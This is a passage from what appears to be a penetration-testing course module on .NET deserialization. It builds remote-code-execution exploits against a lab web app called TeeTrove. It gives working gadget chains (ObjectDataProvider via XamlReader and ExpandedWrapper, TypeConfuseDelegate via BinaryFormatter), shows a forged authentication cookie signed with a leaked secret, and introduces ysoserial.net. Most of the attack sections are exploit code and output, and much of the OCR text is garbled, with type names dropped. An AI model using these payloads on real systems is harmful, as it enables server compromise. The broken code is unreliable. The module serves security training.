StandardErrorEncoding=" " StandardOutputEncoding=" "
UserName="" Password=" " Domain="" LoadUserProfile=" .



FileName=" ">
<sd:ProcessStartInfo.EnvironmentVariables>

<SNIP>
</sd:ProcessStartInfo.EnvironmentVariables>
</sd:ProcessStartInfo>
</sd:Process.StartInfo>
</sd:Process>
</0bjectDataProvider.0bjectInstance>
</0bjectDataProvider>

Inside the XAML output, we can see a very long section listing all the environment
variables . Since we don't need any specifically defined values, we can just remove this
entire section ( sd:ProcessStartInfo.EnvironmentVariables ) to save space. Now before
we do anything else, let's try deserializing the payload with XamlReader.Load justto make
sure everything is working correctly so far. We can comment out the previous code and add

the following lines to test:

string payload = "<ObjectDataProvider <SNIP>";
XamlReader. (new (Encoding.ASCII. (payload)));

As expected, when we run the program a calculator is spawned!



Program.cs & X

TeelmportExploit - % TeelmportExploit.Program

Calculator

System.IO;

System.Text; = Standard
System.Windows.Data;
System.Windows.Markup;

TeeImportExploit

-

]l
=]
|
i
|
El

payload = "< ta Name=\"Start\" xmlns=\
er.Load( ASCII.GetBytes(payload))

@ Mo issues found

eeImportExploiti\bin\Debug\TeeImportExploit.exe

ExpandedWrapper

At this point we have a payload for XamlReader , so we can get back to figuring out how we
will pass this to XmlSerializer so that we can exploit TeeTrove . Going back to the slide
from the BlackHat talk, we can see that it mentions a class called ExpandedWrapper that we
need to use so that XmlSerializer understands runtime types.

* Runtime Types needs to be known at serializer construction time
* ObjectDataProvider contains an Object member (unknown runtime Type)
* Use a parametrized Type to “teach” xmlserializer about runtime types. Eg:

System.Data.Services.Internal .ExpandedWrapper 2|
[PUT_RUNTIME TYPE 1 HERE], [PUT_RUNTIME TYPE 2 HERE]
], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e0889

ExpandedWrapper is an internal .NET Framework class that we can use to wrap our
XamlReader and ObjectDataProvider into an object whichis serializable by
XmlSerializer . We can comment everything else out and add the following lines to the
end of our exploit program to set it up:
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string payload = "<ObjectDataProvider <SNIP>";

< , > expWrap = new

< : >();
expWrap.ProjectedProperty® = new ();
expWrap.ProjectedProperty0.0bjectInstance = new ();

expWrap.ProjectedProperty0.MethodName = "Parse";
expWrap.ProjectedProperty0.MethodParameters. (payload);

There will be an error regarding ExpandedwWrapper because it is not referenced. Clear this
up by hovering, selecting Show potential fixes and then selecting using
System.Data.Services.Internal (from System.Data.Services) .

ExpandedWrapper<XamlReader, ObjectDataProvider> explirap = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
Generate type 'ExpandedWrapper’ L4
Generate type 'XamlReader' '
Generate type 'ObjectDataProvider' Lo System.Collections.Generic;

Object initialization can be simplified System.Data.Services.Internal;
System.Ling;

using System.Data.Services.Internal; (from System.Data.Services) *»
Install package "Mic ta.Services'
s.Markup; {from PresentationFramework)
.Xaml; (from System.Xaml)
e "Uno.ul*

bata; (from PresentationFramework)

.Data.Services.Internal; (from System.Data.Services)

Install package "Mic ta.Services'

ym PresentationFramework)

Suppress or configure issues

Note that we used Parse instead of Load in the code above. Parse calls Load internally,
and although Load resulted in the calculator spawning in our previous test, only Parse
works for this next one. Running the program like this should once again result in a
calculator spawning.



Caleulator

= Standard &

payload = "<0 tDataProvider MethodName=\"Start\" xmlns

Exp

explirap.ProjectedPropertyf
explirap.ProjectedPropertyf.0bjectInstance|
explirap.ProjectedProperty®.MethodName = "P
explirap.ProjectedPropertyf.MethodParameter Add(payload)

Now, we can add lines at the end of our program to serialize the ExpandedWrapper object
with XmlSerializer:

ms = new ();

xmlSerializer = new (expWrap. 0));
xmlSerializer. (ms, expWrap);
Console. (Encoding.ASCITI. (ms. ()));

Run the program one more time, and we should get a serialized XML output in addition to
a calculator popping up on our screens.

<ExpandedWrapperOfXamlReaderObjectDataProvider
xsi=" "
xsd=" ">
<ProjectedProperty0>
<0ObjectInstance type=" />
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType type=" ">&Lt;0bjectDataProvider
MethodName="Start"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:sc="clr-
namespace:System.Collections;assembly=mscorlib"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&gt;&Llt;0bjectDataPr
ovider.ObjectInstance&gt;&lt;sd:Process&gt;&lt;sd:Process.StartInfolgt;&lt
;sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}"
StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}"



Domain="" LoadUserProfile="False"
FileName="C:\Windows\System32\cmd.exe"&gt;&Lt;/sd:ProcessStartInfol&gt;&Lt;
/sd:Process.StartInfo&gt;&Lt;/sd:Process&gt;&Lt;/0bjectDataProvider.Object
Instance&gt;&lt; /ObjectDataProvider&gt;</anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>

Finally, we have a payload for XmlSerializer which should work. We can comment
everything out once again and add the following lines to the end of the program to verify that
it works:

string payload = "<?xml version=\"1.0\"7?>
<ExpandedWrapperOfXamlReaderObjectDataProvider <SNIP>";
xmlSerializer = new (new
: >(). ());
xmlSerializer. (new
(Encoding.ASCII. (payload)));

<

With any luck, the calculator should spawn and we should now have a verified payload that
we can adapt to work with TeeTrove.

Program.cs & X
[ TeelmportExploit ‘ress any continue . . .

Calculator

= Standard 9

Deserialize(

Exploiting TeeTrove

So let's adapt the payload to work with TeeTrove , spawning notepad.exe again instead of
the calculator by changing the values of Arguments and FileName. If you remember from
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earlier in the section, we can control (need to control) the type string which is used when
initializing XmlSerializer. The intended value is TeeTrove.Models.Tee, but we need to
set it to the string equivalent of new ExpandedWrapper<XamlReader, ObjectDataProvider>
().GetType() so that our payload will be deserialized correctly. We can comment out all
previous code lines in our program and add the following line:

Console. (new < , >

(). (). ());

To get the following string as output:

System.Data.Services.Internal.ExpandedWrapper 2[System.Windows.Markup.Xaml
Reader,System.Windows.Data.ObjectDataProvider]

But if we supply the combination of this type string and our payload, with dnSpy
attached, we get an error because GetType returned null.

qupov - 'E:I-:- - N elp : if e - P Continue

tilterlnd

Tee ID

actionExecutedContext2;
Create New Tee

= continuation();

Import Tee from ¥

xsitype="xsd:stri
namespace:Syste|
/2006/xaml" &gt; 4
StandardErrorEnc
\System32\cmd.e
gt </anyType= </|

© 2023 - TeeTrove -

A v v o owwww

N Network  {} Style Edit

Referring back to the slide from the BlackHat talk, we notice that the type string in the box
looks similar to ours, except there are some extra values after the closing | character that
we don't have.



* Runtime Types needs to be known at serializer construction time
* ObjectDataProvider contains an Object member (unknown runtime Type)
* Use a parametrized Type to “teach” xmlserializer about runtime types. Eg:

System.Data.Services.Internal .ExpandedWrapper 2|
[PUT_RUNTIME TYPE 1 HERE], [PUT_RUNTIME TYPE 2 HERE]
], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

Luckily this is an easy fix. If we take a look at the Microsoft Documentation for the Type

class, we can see a list of properties including AssemblyQualifiedName which looks more

like the string we want. So we can modify our line and specify that we want the
AssemblyQualifiedName instead of calling ToString() like this:

Console. (new < , >
(). ().AssemblyQualifiedName);

This time we should get a string that looks closer to the one in the slide:

System.Data.Services.Internal.ExpandedWrapper 2[[System.Windows.Markup.Xam
1Reader, PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35], [System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089

We can try the exploit again, this time passing the new type string in combination with our
payload. Although we don't have the same problem this time, we run into another exception.

This time dnSpy says <ExpandedWrapper<SNIP>> was not expected.

What does this mean? Well, let's look at the decompiled code for the Import method one
more time.


https://learn.microsoft.com/en-us/dotnet/api/system.type?view=net-7.0
https://learn.microsoft.com/en-us/dotnet/api/system.type.assemblyqualifiedname?view=net-7.0#system-type-assemblyqualifiedname

er(xml)));

In the screenshot above, we notice another parameter passed when instantiating
XmlSerializer, namely an XmlRootAttribute with the name Tee. If we create a new Tee
and then export it through the web Ul, we also notice that the root element is called Tee.

X localhost:B000/ Tees/Export/17 = +

— @, O Y “localhost:8000,Tees,E port/17

This XML file does not appear to have any style information associated with 1t. The document tree is shown below.

<Id=17<Td>
<Userld=2</TUserld=
<Title>test</Title>
=ImagePath=/Content/ Img/Tees/default jpg<TmagePath>
=Price>12 23</Price=
=/Tee=

With this in mind, let's try renaming the root element of our payload from
ExpandedWrapperOfXamlReaderObjectDataProvider to Tee and resend everything. This
time, with Process Explorer open we should see a notepad.exe process spawn as a
child of w3wp.exe and so we have our second valid proof of concept for TeeTrove!



Tee ID Title ImagePath P
17 test /Content/Img/Tees/default.jpg 1
2 Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-IVDRUAJ
File Options  Wiew Process Find Users Help
s [ ]
Rcom:|e&X 2& [ |
Process CF‘Ul Private Bytes | Working Set | f
[m=]svchost exe 4160K 12684K 2
[=] [m=] swchost exe 1612 K TMOK 2
Import Tee from XML [/ dasHost exe 2,55 K 7960K 2
[#z]dasHost exe 1.012K 4292K 3
XML [&=]svchost exe <0.M 15,024 K 23068K 2
[m=]swchost exe 17,008 K 22K 2
[&=]svchost exe 11,728 K 20736K 2
[=]svchost.exe 2364 K 5080K 2
[=]svchost.exe 1.264 K 544K 2
(=1 [m=] svchost exe 4668 K 10448K 2
=) [ wdwp exe <0M 141,684 K 140,540 K
<001 234K 1240K 9
=] sglwriter exe 186K J84K 2
© 2023 - TeeTrove - Privacy i ' MsMpEng exe 283456 K 200300K 2
[z wims.exe TADK 3h88K 2
[=]svchost.exe 4360 K 19136K 2
[=]svchost.exe 2832K 3832K 2
[=]svchost.exe 1.252 K 5264K 2
# ' sppsvc.exe T24 K 15292K 3
[=]svchost.exe 1888 K JA4K 3
: () 4 [m=]svchost.exe 1.240K 5160K 3
b Metwark {} Style Editor (4} Performance {F Mermory E Storage + SecurtyHealthService.exe <001 6760 K 19852K 4
[n=] sihost.exe 6916 K 27736K 4
[m:]svchost exe 6,524 K 185932K 4
[m:]svchost exe <0.M 9624 K 41508K 4
lew"»Create New Teed/a» [z swchost exe 1532 K 19068 K 4
[m:]taskhostw exe <0.M 8924 K 18516 K 4
[=] [m=] swchost exe 1776 K T7696K 4
> clfmon.e:e 4656 K 20332K 4

put™s (= £/ 1abels
"yml" placeholder="¥ML"»</textareas

CPU Usage: 35.18% Commit Charge: 63.23%

Processes: 160 Physical Usage:

The TypeConfuseDelegate Gadget

Introduction

For the last two exploits, we have used the ObjectDataProvider gadget, but many more
gadgets exist and more are discovered all the time, so let's take a look at another one called

the TypeConfuseDelegate gadget.

What is TypeConfuseDelegate?

TypeConfuseDelegate is the name of a .NET Framework deserialization gadget originally

disclosed by James Forshaw in this Google Project Zero blog_post.



https://twitter.com/tiraniddo
https://googleprojectzero.blogspot.com/2017/04/
af://h1-46
af://h2-47
af://h2-48

e e e e e gy e e e e e e g e —m e e e - g e

comparer are the entries in the set, which is under our complete control. Let’s write some test code to check
it works as we expect:

static void TypeConfuseDelegate(Comparison<string=> comp) {
FieldInfo fi = typeof(MulticastDelegate).GetField(" invocationlList",
BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = comp.GetInvocationList();
// Modify the invocation 1list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(comp, invoke_list);

// Create a simple multicast delegate.

Delegate d = new Comparison<string>(String.Compare);

Comparison<string> d = (Comparison<string>) MulticastDelegate.Combine(d, d);
// Create set with original comparer.

IComparer<string> comp = Comparer<string>.Create(d);

SortedSet<string> set = new SortedSet<string>(comp);

// Setup values to call calc.exe with a dummy argument.
set.Add('"calc");
set.Add("adummy");

TypeConfuseDelegate(d);

// Test serialization.

BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.Serialize(stm, set);

stm.Position = @;

fmt.Deserialize(stm);

// Calculator should execute during Deserialize.

The only weird thing about this code is TypeConfuseDelegate. It's a long standing issue that .NET delegates

don't always enforce their type signature, especially the return value. In this case we create a two entry

muiltinact AdalAamata fa Aalamata wdhick waill o ranltinda cinala dalaaatne cenamantialhd eattina ana Adalasata to

The code is relatively short, but it probably doesn't make a lot of sense the first time you see
it, so let's figure out what's going on.

How does it work?

The first thing we need to understand is that this gadget begins with a class called
ComparisonComparer, whichis a serializable, internal class in the Comparer class.

¢ Compari:

hlic

return _compariso
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ComparisonComparer extends the Comparer class, and has an internal Comparison
property. Comparison<T> is a special type of variable called a Delegate, which means it
refers to another method.

public delegate int <in T>(T x, y);

Most importantly, inside the Compare method we see that this delegated method is
invoked. So if we can create a ComparisonComparer and somehow delegate
Process.Start asthe comparison method, then when Compare is called Process.Start
will be invoked.

Although ComparisonComparer is an internal class inside Comparer, which means it can
not be instantiated by other classes than Comparer, it is exposed via the Comparer.Create
method.

ic Comparer<T> Create(Comparison<T> comparison)
Contract.Ensures{Contract.Result<Comparer<T=>(]} '= null};

narison == null)

hrow new ArgumentNullException("comparison™);

=W ComparisonComparer<T=(comparison);

So we have a way to create a ComparisonComparer, but our problem now is that
Comparison expects a method that returns an int, and Process.Start returns a
Process object.

This is where MulticastDelegate comes into play. To put it simply, a MulticastDelegate
is just a list of delegated methods that are to be invoked one after another. Although we still
can not delegate Process.Start as a Comparison<T> due to the return type, we can
exploit a long-standing .NET Framework issue where type signatures are not always
enforced, and overwrite an already delegated function in a MulticastDelegate instance
with a method which returns a different type, in this case Process.Start.

So let's take a look at the beginning of the gadget code:

stringCompare = new <string>(string.Compare);

<string> multicastDelegate = (Comparison<string>)
MulticastDelegate. (stringCompare, stringCompare);


https://learn.microsoft.com/en-us/dotnet/api/system.comparison-1?view=net-7.0

<string> comparisonComparer =
Comparer<string>. (multicastDelegate);

At this point, we have a ComparisonComparer instance which will invoke two
string.Compare methods in a row when the Compare method is invoked. This is where the
"Type Confusion" comes in. Inside MulticastDelegate is a private field called
~invocationList which contains the delegated methods in the order they should be
invoked.

[ )]
[__DynamicallyInvokable]

MulticastDelegate : Delegate

ical]
_invocationlList;

icall
» _invocationCount;

Since this is a private field, we can not update it directly, however, we can get around this by
using a class called FieldInfo:

fi = typeof( ). (" invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);

object[] invoke list = multicastDelegate. ();

invoke list[1l] = new <string, string, >(Process.Start);
fi. (multicastDelegate, invoke list);



Now we have a MulticastDelegate which invokes string.Compare followed by
Process.Start whenever the ComparisonComparer invokes Compare . But we don't have
anything that invokes Compare yet. This is where SortedSet comes in. SortedSet is a
Set that automatically sorts itself each time a new item is added (assuming there are at
least two items in total). To do the sorting, it invokes Compare on the instance's internal
Comparer which can be specified by the user, meaning we can supply our

ComparisonComparer.

arent ;
tGrandParent = nu

Additionally, and equally important, SortedSet can be serialized and upon deserialization it
will add the items to a new SortedSet instance one by one, effectively triggering the
Compare function.



if (siInfo
ThrowHelpe

ue(ItemsName,

erialization_Mis

for (int i = @; i < items.Length; i++) {
Add{items[i]);

rsionName),
(count != savec
ThrowHelper.ThrowSerializationExceptio ptionResource.Serialization_MismatchedCount);

}
silnfo = null;

So the last few lines of the gadget are the following:

<string> sortedSet = new <string>(comparisonComparer);
sortedSet. ("/c calc");
sortedSet. ("C:\\Windows\\System32\\cmd.exe");

Putting everything together, the whole gadget looks like this:

stringCompare = new <string>(string.Compare);

<string> multicastDelegate = (Comparison<string>)
MulticastDelegate. (stringCompare, stringCompare);

<string> comparisonComparer =
Comparer<string>. (multicastDelegate);



fi = typeof( ). (" invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);

object[] invoke list = multicastDelegate. ();
invoke list[1] = new <string, string, >(Process.Start);
fi. (multicastDelegate, invoke list);
<string> sortedSet = new <string>(comparisonComparer);

sortedSet. ("/c calc");
sortedSet. ("C:\\Windows\\System32\\cmd.exe");

Running the gadget, a calculator is spawned as expected, and although we have not tested
it out yet, we know that the Compare method will be invoked upon deserialization as
well.

tringCompare = new Comparison<stri tring.Compare);
mp: string> multicastDelegate ( son<string>) .Combine(stringCompare, stringCompare);
IComparer<string> comparisonComparer = C <string>.Create(multicastDelegate);

FieldInfo fi = typeof(MulticastDelegate).GetField("_invoc
bject[] invoke_list = multicastDelegate.GetInvocati
invoke_list[1] = new Func<stri string, Pro

2 = = .
fi.SetValue(multicastDelegate, invoke_list); Caleulator

g> sortedSet = new So t<strinc = Standard 33

al

) continue . . .

Going Beyond

So far in this module, we have covered two gadgets - ObjectDataProvider and
TypeConfuseDelegate . In the wild, there are many more gadgets, and researchers will
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often discover new ones or improve upon existing ones. A few other gadgets (not covered in
this module) include:

PSObject

SessionSecurity Token

ClaimsPrincipal (in Viethamese)

Discovering these gadgets can be quite complicated, but for those of you who are keen to
learn more about the process, the blog posts/papers linked to the gadgets above, as well as
the following resources may be interesting:

"Friday the 13th JSON Attacks" White Paper / Video of the Talk
"Are you my type?" White Paper
Attacking_ .NET Deserialization Talk

Example 3: Binary

Discovering the Vulnerability

Let's look at one final deserialization vulnerability in TeeTrove . This time we will shift our
focus to the authentication mechanism, which seems to use (de)serialization.

ASSEMBIIES i S A Il MvcApplication

= =B TeeTrove (1.0.0.0, NETFramework, v4.7.2) /f TeeTrove, Version=1.@.@.@, Culture=neutral, PublicKeyToken=null
+ BB Metadats // TeeTrove.MvcApplication
+ o' References +using |...
i O Resources public class MveApplication : HttpApplication
. -1
'
= "% <Module> protected void Application_Start()
+ & Derived Types +
= {} TeeTrove
+ *z BundleConfig protected void Application_PostAuthenticateRequest(object sender, EventArgs e)
+ %z FilterConfig =
E ] MvcApplication HttpCockie rememberMeCockie = base.Request.Cookies[RememberMeUtil.REMEMBER_ME_COOKIE_NAME];

HttpCookie authCookie = base.Request.Cookies[AuthCookieUtil.AUTH COOKTE_NAME];

+ “ RouteConfiy if (rememberMeCockie != null 8& suthCookie == null)

MemoryStream ms = new MemoryStream(Convert.FromBase645tring(authCookie.Value.Split('."')[8]));
session =[(Session)bf.Deserialize(ms);]
if (!session.IsExpired())

+ {} TeeTrove.Authentication
+ {} TeeTrove.Controllers CustomMembershipUser customMembershipUser = RememberMeUtil.validateCookieAndReturnUser(rememberteCookie.value);
+{} TeeTroveData if (customMembershipUser != null)
+ {} TeeTroveMigrations {
+ {} TeeTrove.Models authCookie = AuthCockieUtil.createSignedCookie(customMembershipUser);
&3 0 base.Response.Cockies.Add(authCookie);
& }
L }
L if (authCookie == null || !AuthCookieUtil.validateSignedCookie(authCockie.value))
+ return;
* }
+ BinaryFormatter bf = new BinaryFormatter();
+ Session session = null;
+ try
B {
e
e
B
e
=

CustomPrincipal principal = new CustomPrincipal(session.Username)

Id = session.Id,
Username = session.Username

3
HttpContext.Current.User = principal;

catch (Exception)

In the code snippet above, we can see that BinaryFormatter is used to deserialize the first
part of authCookie, which is a value stored in the TTAUTH cookie.

AUTH_COOKIE_MAME : string

// TeeTrove, Version=1.8.8.8, Culture=neutral, PublicKeyToken=null
/f TeeTrove.Authentication.AuthCookieltil
public static readonly string AUTH_COOKIE NAME = "TTAUTH";


https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
https://muffsec.com/blog/finding-a-new-datacontractserializer-rce-gadget-chain/
https://testbnull.medium.com/some-notes-of-microsoft-exchange-deserialization-rce-cve-2021-42321-f6750243cdcd
https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEF%20CON%2025%20-%20Alvaro-Munoz-JSON-attacks-WP-UPDATED.pdf
https://www.youtube.com/watch?v=ZBfBYoK_Wr0
https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
https://www.youtube.com/watch?v=eDfGpu3iE4Q
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A quick Google search for "BinaryFormatter" will return plenty of sources confirming it is
insecure, in fact, the Microsoft documentation even contains a warning informing developers
of this.

EMERS

/A Warning

BinaryFormatter is insecure and can't be made secure. For more information, see the BinaryFormatter security

guide.

Developing the Exploit

So we know that the use of BinaryFormatter to deserialize user input is insecure. With this
in mind, let's create a new project in Visual Studio and get to work developing an exploit
that will work against it.

Configure your new project

Console App (.NET Framework) ©  Windows  Console

Project name

AuthCookieExploit

S\bill\Desktop\Advanced-Deserialization-Attacks

Solution name (i)

+| Place solution and project in the same directory
Framework
MET Framework 4.7.2 -

Project will be created in "C:\U illDesktop\Advanced-Deserialization- Attacks\AuthCookieExploity”

A This directory is not empty.

Create

Unfortunately, our ObjectDataProvider gadget will not work this time. We can attempt to
copy the gadget code and add the following lines to serialize the object and output the
results as a base64 -encoded string:

ms = new ();
bf = new ();


https://learn.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter?view=net-7.0
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bf. (ms, odp);
Console. (Convert. (ms. )));

However, running this code will result in an exception being thrown because
ObjectDataProvider is not marked as a serializable class.

(]3] tDataP aT e
odp.0ObjectType typeof (Sys

odp.MethodParameters.Add( ! md.exe");
odp . MethodParameters . Add(

odp.MethodName = "Start";

bF.Seilalize(ms, odp);
Le.WritelLine( e .ToArray()));

n.Windows.Da

atters.Binary. Writer.Serializ je aph, Header[] inHeaders, _ Binaryln
Formatters.Binary.BinaryFormatter.Seriali eam serializationStream, Objed

Binary.BinaryFor . iali "eam serializat

Instead of tackling the exception, let's just put the TypeConfuseDelegate gadget we
discussed in the previous section to use!

stringCompare = new <string>(string.Compare);
<string> multicastDelegate =
(Comparison<string>)MulticastDelegate. (stringCompare,

stringCompare);
<string> comparisonComparer =

Comparer<string>. (multicastDelegate);
fi = typeof( ). (" invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke list = multicastDelegate. ();
invoke list[1] = new <string, string, >(Process.Start);
fi. (multicastDelegate, invoke list);
<string> sortedSet = new <string>(comparisonComparer);

sortedSet. ("/c calc");
sortedSet. ("C:\\Windows\\System32\\cmd.exe");



ms = new ();

bf = new ();
bf. (ms, sortedSet);
Console. (Convert. (ms. )));

This time, when we run the program we see the calculator spawn and a base64 -encoded
string written to the console. This is the SortedSet which we serialized with

BinaryFormatter.

stringCompare =
omparison<sir
IComparer<stri

Fi
t[] invoke A

invoke_list[1]
fi.SetValue(mul

Calculator

Standard 3

bf.Serialize(ms

ole.WritelirLC

Just to double-check that the payload works upon deserialization, let's comment all this code
out and use the following lines to test:

string payload = "AAEAAAD/////AQAAAAAAAAAM<SNIP>";
bf = new ();
bf. (new (Convert. (payload)));

As expected, the SortedSet is deserialized, and a calculator is spawned.



Caleulator

= Standard &

Q;
t.FromBase6UString(payload)));
@ Mo issues found
put from:  Build

aryFormatterExample\bin\Del

Exploiting TeeTrove

Now that we know how to exploit BinaryFormatter, let's adapt the payload to work with
TeeTrove. In this case, we can not just copy-paste the PoC and expect it to work, because
the cookie that stores the serialized datais validated before any deserialization
occurs.

(authCookie.

principal;

So let's figure out how the cookie is validated, and what we have to do to bypass this check.
Inside the decompiled code of AuthCookieUtil, we can see the implementation of the
validateSignedCookie method.
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session_b64)

.GetBytes(session_b64 + AuthC

archinlser gser)
ershiplUser user)

[1 tk = cooki L. hE
hash_b&4 = A (tk[@])s

We can see the method splits the cookie string into two strings separated by a "."
character and then compares the second string to the string which is generated using the
createSHA256HashB64 method with the first string as input, implemented above in the same
class. The method then returns true if these two values match, and false otherwise. The
createSHA256HashB64 method computes a SHA256 hash, as the name suggests. The input
to the hash function is the string that was passed, in this case, the portion of the
authentication cookie before the first period, as well as a secret string defined in

AUTH COOKIE SECRET . Since we know the value of this secret string and have full control
over the cookie, we can forge valid cookies with this knowledge.

So let's modify our exploit code to generate a signed cookie according to the implementation
of AuthCookieUtil . We can copy-paste AUTH COOKIE SECRET as well as the
implementation of createSHA256HashB64 to the beginning of our exploit code.

private static readonly string AUTH COOKIE SECRET =
"916344019f88b8d93993afa72b593b9c";

private static string (string session b64)
{
s256 = SHA256. ();
byte[] hash = s256. (Encoding.ASCII. (session b64 +
AUTH COOKIE SECRET));
return Convert. (hash);



Next, let's modify the main method so that instead of base64 -encoding and then printing the
serialized object to the console, it passes it to createSHA256HashB64 .

<SNIP>
bf. (ms, sortedSet);

payload b64 = Convert. (ms. ());
string hash b64 = (payload b64);
Console. (payload b64 + "." + hash b64);

Now when we run the code, we see the calculator spawn and we see base64 -encoded
output, followed by a "." and more base64 -encoded output which we know is the SHA256
hash.

Calculator

payload_b6l

Standard &

g hash_b6l4 = createSHA256HashB6U(payload_b6u);
e.WritelLine(payload_b64 + "." + hash_b6l);

@ No issues found

ormatterExamp

Now let's try using this value with the authentication cookie in TeeTrove ( TTAUTH). As
usual, we will modify the payload to launch Notepad, and we can set breakpoints in dnSpy
to catch any exceptions in case it goes wrong.



We can log into the application with the credentials pentest:pentest and then replace the
value of the TTAUTH cookie with our payload. Inside dnSpy we should hit the breakpoint and
then stepping forward we can see that validateSignedCookie returned true, meaning the
application will go ahead with deserialization.

if (authCookie I= null 8 AuthCookieUtil.validateSignedCookie(authCookie.Value))

bf = new BinaryFormatter();]

One in a Minion
€12.99

(authCookie.

@ View

text. - = principal;
ole [ Debugger T Network {2} Style Editor

Name Value

Name Value
TTAUTH AMEAAAD///TAQAAAAAAAAAMAGA . nec

Tee

) sender

Once we hit continue, and the cookie is deserialized, we should see a notepad.exe
process spawn as a child of w3wp.exe in Process Explorer meaning we exploited this
third vulnerability successfully!



File Options View Process Find Users Help

H|GD|.':|@ x|, [} | A1| | | | | | | <Filter by name >
Process CF‘U‘ Private Ey‘tes| WarkingSet| F‘ID|Description |Corn|:nan5I Name |

[&=]dasHost.exe 2572K 7776 K 3168 Device Association Framewo... Microsoft Corporation
[#z] dasHost.exe 1.000 K 4386 K 2736 Device Association Framewo... Microsoft Comporation
[==] svchost exe 15,048 K 23164 K 2776 Host Process for Windows 5... Microsoft Corporation
[#=] svchost exe 21876 K 28612 K 2788 Host Process for Windows S... Microsoft Comporation
[#=] svchost exe 10932K 20,104 K 2812 Host Process for Windows S... Microsoft Comporation
[#=] svchost exe 2330K 5052 K 2900 Host Process for Windows S... Microsoft Corporation
[5=] sqhwriter exe 1824 K 7664 K 2924 SQL Server VS5 Writer - 64 Bt Microzoft Corporation
[#=] svchost exe 1272K 5444 K 2940 Host Process for Windows 5. Microsoft Corporation
(= [#=] svchost exe 4672K 10,604 K 2948 Host Process for Windows 5... Microsoft Corporation
= [Elw Iwp.exe 124 208 K 181,156 K 10280 I1S Warker Process Microsoft Corporation
253K 11928K 5400 Notepad Microsoft Corperation

i MsMpEng exe L 290328 K 219828 K 2960
=] wims.exe TADK 3604 K 2984 Windows License Monitoring... Microsoft Carporation
[#=] svchost exe 4444 K 19,224 K 2992 Host Process for Windows S... Microsoft Comporation
[#=] svchost exe 2764 K 9688 K 2636 Host Process for Windows S... Microsoft Corporation
[#=] svchost exe 1268 K 5264 K 3108 Host Process for Windows S... Microsoft Corporation

B ' sppsvc exe 4368 K 13,184 K 3532
[#=] svchost exe 1880 K 7.804 K 3644 Host Process for Windows 5. Microsoft Corporation

u  NisSrv exe 37K 8528 K 4000
[a=] sihost exe 6500 K 27488 K 564 Shell Infrastructure Host Microsoft Corporation
[&=] svchost exe 6508 K 15,044 K 788 Host Process for Windows 5... Microsoft Corporation
[=] svchost exe 9172K 35784 K 2000 Host Process for Windows S... Microsoft Corporation
[==] svchost exe 14928 K 2628 Host Process for Windows S... Microsoft Corporation
[u=] taskhostw exe <0.01 : 18,664 K 3024 Host Process for Windows T... Microsoft Comporation
7632 K 4104 Host Process for Windows S... Microzoft Corporation
<0.01 . 20,340 K 4160 CTF Loader Microsaft Corporation
<0.01 : 151,664 K| 4240 Windows Explorer Microsoft Comporation
$ SecurityHealth Systray exe 8872 K 2208 Windows Security notificatio... Microsoft Corporation

\? VBoxTray.exe <00 2652K 10.812 K 3676 VitualBox Guest Additions Tr..

nn1 naann 7 Cna

T

CPU Usage: 10.56% Commit Charge: 63.59% Processes: 155 Physical Usage: 65.26%

Modules

Automating Exploitation with YSoSerial.NET

Introduction

In the previous 5 sections, we manually took apart two .NET Framework
deserialization gadgets and developed three exploits against deserialization
vulnerabilities in TeeTrove . Although complicated, it is important to understand how to
perform such attacks manually before using tools to automate the process, because the
tools may not always work correctly, or there may be extra conditions that the tool can not
handle such as the Tee root element in the 2nd vulnerability.

In this section, let's take a look at how we can use the tool YSoSerial.NET to
(semi-)automatically generate similar payloads that we can use for exploitation.

YSoSerial.NET
]

YSoSerial.Net
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YSoSerial.NET is an open-source tool that can be used to generate payloads for .NET

deserialization vulnerabilities. It was created by Alvaro Mufioz who you may remember as
one of the authors of the Friday the 13th JSON Attacks talk at BlackHat 2017.

Usage is fairly straightforward. We can download the latest version from the Releases page,
and simply extract the ZIP file after it is downloaded. The syntax is explained in the
repository's README.md file, however, the most important arguments are:

-f to specify the Formatter, e.g. Json.NET, XmlSerializer, BinaryFormatter
-g to specify the Gadget, e.g. ObjectDataProvider, TypeConfuseDelegate

-c to specify the Command, e.g. calc

-0 to specify the Output mode, e.g. Base64 or Raw for plaintext

.\ysoserial.exe -f [Formatter] -g [Gadget] -c [Command] -o [Output]

YSoSerial.NET provides support for many more gadgets and formatters than the few
we covered in this module, however, they all work similarly. We will not be covering any
others, but if you are interested in learning more on your own time, YSoSerial.NET is open
source, and there are many blog posts/white papers by researchers that detail the various
technicalities.

Example 1: JSON, Remember Me Cookie

Let's take a look at how we could generate a payload for the first vulnerability we exploited;
the "Remember Me" cookie which was (de)serialized using Json.NET . We will pass:

Json.Net asthe Formatter (-f)
ObjectDataProvider asthe Gadget (-g)

notepad and the Command (-c)

Raw as the Output (-o0) so thatwe get plaintext JSON

All together, the command looks like this:

